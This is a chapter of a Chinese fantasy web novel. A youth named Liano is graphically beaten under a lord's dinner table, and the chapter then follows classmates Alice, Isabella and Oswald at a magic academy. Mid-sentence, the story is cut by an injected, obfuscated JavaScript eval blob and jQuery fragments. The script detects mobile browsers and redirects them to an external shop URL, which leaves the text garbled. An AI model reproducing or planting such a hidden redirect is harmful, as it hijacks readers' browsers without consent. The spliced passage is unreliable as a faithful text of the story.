利亚诺熟练地解开衬衫领口的扣子。
他会在格罗姆康特领主一家的餐桌前,毫无尊严地接受惩罚。
金属刀叉轻微碰撞的声音从亮着烛台的餐桌上方响起,仿佛真的是一场静谧的晚宴,而他跪在餐桌下的阴影里,双膝已经痛到麻木。
科特兹首先放下了餐具,格罗姆康特的魔法家庭教师乐意参与领主家的一切琐事,他优雅地用餐巾擦净了双手,起身从某个不知名的柜子里抽出一截黑亮的乌木板。
利亚诺记得那个的触感。
冰冷的、坚硬的,带着细小的倒刺和微微露出的不起眼的钉子,需要他挺起胸膛去承受。
他用背在身后的手死死掐住自己,咬紧下唇不发出任何声响。
他不会被罚在暴露于衣料之外的地方,因为这关系到格罗姆康特家的光鲜表面。但在无人看见的地方,在那些隐秘的脆弱处,他的错误太多,怎么惩罚都不为过。
特里迪克控诉他在学院的嚣张行径,认为每一门优秀的功课都是在向他挑衅;科特兹责罚他得到的不能令人满意的魔法实践成绩,将之视为对魔法家庭教师的侮辱;格罗姆康特领主轻轻皱了皱眉,觉得特里迪克在礼堂中的招摇做法也许会引人非议,但特里迪克只是不懂事罢了,没有阻止这一切的利亚诺才是影响格罗姆康特家族颜面的罪魁祸首,他很快放下思索为其定罪,就好像利亚诺并不是那个实际上被折磨到虚脱的受害者;而格罗姆康特领主夫人惩罚利亚诺的理由则最为平实,只是因为他灰色的眼睛不讨人喜欢。
于是冷硬的木板一次次破开空气,在苍白的胸膛咬出肿胀与破溃,又顺理成章地继续侵蚀大片细嫩的皮肉,连格外娇弱的两处也不放过。
忍耐着痛苦的人在冷汗和闷哼里努力支撑着自己的身体,如果跪不稳被打倒在地,或者实在熬不住地弓起身体,他将会需要承受更多惩罚。
“呜……”
利亚诺没有辩解的资格。
他只有将双眼紧闭,硬生生吞下那些不被允许的呜咽。
“科特兹,今天的份呢?”
格罗姆康特领主对这场餐桌下的凌虐视若无睹,他从很久之前开始就只在乎研究魔法与魔药的玄妙,也正因此对科特兹尤为依赖,他总能研究出一些令他感兴趣的成果。
“您别着急,格罗姆康特领主大人。”
科特兹施施然地收起已经洇了层层血痕的乌木板,呈上写画着魔法阵的羊皮纸。
没有得到预想中的魔药似乎令格罗姆康特领主有些不满,但他很快就对着羊皮纸看入了神,科特兹见状面上也浮现出满意的神色。
他又想起什么,瞥了一眼脚下已经蜷缩着倒在阴影里喘息的身影。伴随着带有愉悦笑意的声音,一瓶小小的魔药被他放在那片阴影之前。
“你该不会以为自己逃得过吧?”
利亚诺开始发抖。
*
爱丽丝脚步不停地飞奔在魔法学院主楼的台阶。
之前以防万一才记下了医疗室的位置,怎么现在就……
她扶着楼梯扶手匆忙拐过一个弯,又焦急地往前跑了一段,径直推开医疗室半掩着的门。
“伊莎贝拉!你没事吧?”
被叫出名字的伊莎贝拉倏尔在长椅上坐直了身体,吓了一跳似的转过头与她对视。长椅旁立着的是奥斯维德金发佩剑的身影,他点点头与她示意。
宁静的场景里,伊莎贝拉未戴兜帽,几绺鲜艳的红发落在肩头,面上带着些不自然的红晕。奥斯维德则是一副惯常的正直姿态,却与身边的人显得异常亲近。
爱丽丝见状顿时陷入了呆愣。
好像……难不成……她不小心打扰了什么?
说起来,她听说伊莎贝拉晕倒了立刻赶来的时候,好像耳边也飘过奥斯维德出手相救云云的碎片来着。
总之……没事就好?
爱丽丝眨了眨眼睛,尽量忽视了二人间微妙的气氛,走近了坐在伊莎贝拉身旁,最关心的还是她的状况。
“怎么回事啊……听说你忽然晕倒真的吓死人了……”
她的呼吸因为刚才的跑动尚未平复,看到人没事又放下心来,声音软软地问。
她是真的被吓到了。
夏季学期刚开始还没几天,她正准备约着伊莎贝拉去图书馆呢,突然就从其他学徒口中听到这样的消息,而且她此前从未听说伊莎贝拉的身体出过状况,生怕是什么严重的意外,立刻飞奔过来了。
“我没事,爱丽丝。”
伊莎贝拉看到她担忧的神色心里一软,立刻搂过她的肩膀握住她的手。
“但是……我也记不太清楚发生了什么。”她的神色有些懊恼的,“我可能是进入了秘境,隐约记得看到了那种熟悉的白光,但是对于秘境里发生的事情却完全没有印象,醒来时就已经在这里了。”
那么应该是奥斯维德发现了晕倒的伊莎贝拉。
爱丽丝转头向奥斯维德看去,对方却摇摇头表示并没有其他线索。
“我发现伊莎贝拉时她一个人倒在草地上。”他说。
爱丽丝努力拽回已经在想象奥斯维德是怎样将人抱回来的跑偏思绪,继续询问伊莎贝拉的状况。
“怎么会晕倒的呢?现在身体有哪里不舒服吗?”她抓着伊莎贝拉的手连声问。
“没什么特别的,就是有点累。”伊莎贝拉先是摇了摇头表示无碍,却又轻轻皱起眉毛,“可能是因为魔力。”
“魔力?”
“晕倒之前魔力还是很充沛的状态,但是醒来后觉得魔力就差要被耗光了!”伊莎贝拉费解地比划描述,“就好像在我不知道的时候连续轰出了十几个强力攻击魔法一样!”
如果是魔力消耗过大的话,感觉到疲惫是很正常的。
爱丽丝歪了歪头猜测,“在秘境里用了太多魔法,魔力不足才晕倒的吗?”
“你这么说也有道理,但是……”伊莎贝拉陷入了片刻的沉思。
“你还记得我的第一个秘境吧?被鸟追的那个。我和你一起进入秘境的时候其实已经是第三次进入相同的秘境了,前两次应该算是没有通过秘境的考验吧,我被那个家伙追着也不知道该怎么应对,但是每次和它耗了太久时间或者用了不少魔力的时候,秘境总是会自己消散……”
“啊,我记得!所以你当时才和我说还没有解决掉这个秘境。”
“对!所以我觉得,秘境好像不会令人耗尽魔力甚至晕倒……”
两人叽叽喳喳讨论了一会儿,仍然没得出什么结论,奥斯维德则在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092920|195516||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一旁静静地听,手搭佩剑,好像称职的护卫一样。等到两人的谈话内容逐渐转变为日常聊天时,他才适时地开了口。
“抱歉,爱丽丝,这学期开始我可能会黏伊莎贝拉比较紧,如果打扰你们不好意思。”
天呐,多么正直而理所当然的宣言!
爱丽丝看着伊莎贝拉突然抬头对奥斯维德怒目而视的面孔,拼命压住想要扬起来的嘴角。
不打扰,怎么会打扰呢!她准备把约伊莎贝拉去图书馆学习的机会都让给奥斯维德!
于是她在伊莎贝拉罕见的嗔怒神色里离开了医疗室,还贴心地帮他们把门关上了。
但是,这可难办了……
她刚在新课程中遇到了让她如临大敌的魔法语言学,还准备向伊莎贝拉请教呢。
确认了好友无事且感情进展顺利后,爱丽丝悠闲地踱步离开,不时停下脚步望着走廊玻璃窗外的景色发呆。
其实她心里还有一个想邀请一同学习的人不是吗?
伊莎贝拉告诉她了。
利亚诺与格罗姆康特领主一族签订了契约。
理由不详,但是任何魔法契约在恶人手中都足以将人的尊严磨碎。
如果通过学习获得学院承认的魔法师身份,他有机会脱离这份契约,但是在学院的学习又需要监护者或推荐人的担保……他被架在这样不上不下的位置任意磋磨。
所以他才要承受所有莫名其妙的欺辱,才要熬着爱丽丝仍不知道缘由的疼痛完成漫长的课程,才要在奥斯维德严厉制止了礼堂中特里迪克的暴行之后,用虚脱无力的身体喘息着、颤抖着、顺从地站在施暴者身后。
爱丽丝看得出,他分明还在被无形的疼痛折磨,而她没有任何帮助他的办法,只有在漫长的结课仪式里将那个单薄的身形映在眼中。
特里迪克故技重施,他有好几次都熬到站不住了。
爱丽丝的胸口闷闷地发痛。
春季假期之后,利亚诺的身份似乎更加被别有用心的人熟知了。
仅仅在夏季学期的这几天之内爱丽丝就看到过数次,他狂奔着躲避着什么追赶他的身影,从她的视线边缘黑影般地掠过。
他似乎也在躲避她,当她在理论课就要再次坐在他身旁时,他那样明显地拉远了距离,紧绷得几乎随时要逃走。
所以爱丽丝没敢开口说什么,也没敢随意靠近,只是静静地坐在那里。
她知道他疼得厉害,身上的伤口,还有心里的伤口。她不愿随意触碰那些伤口,所以只能看他小兽般孤单地舔舐自己,为了让他安心装作什么都不知道。
但是,她真的应该这样……暂时远离他吗?
——!
一个小小的黑色的身影突然隔着主楼上方的玻璃窗映在爱丽丝眼前,骤然拽回她的思绪。
他正狂奔着躲避着什么,却因为体力耗尽而被另外几个高大的身影牵制住。
他被扭着手臂控制住,不停地挣扎,却怎么也挣脱不开。
爱丽丝的双手无意识地握紧了冰凉的窗框,心跳的声音变得无比明显。
她没办法远离他,没办法丢下他不管!
她没办法……违背自己的心意。
思绪反应过来之前,爱丽丝已经再次开始飞奔。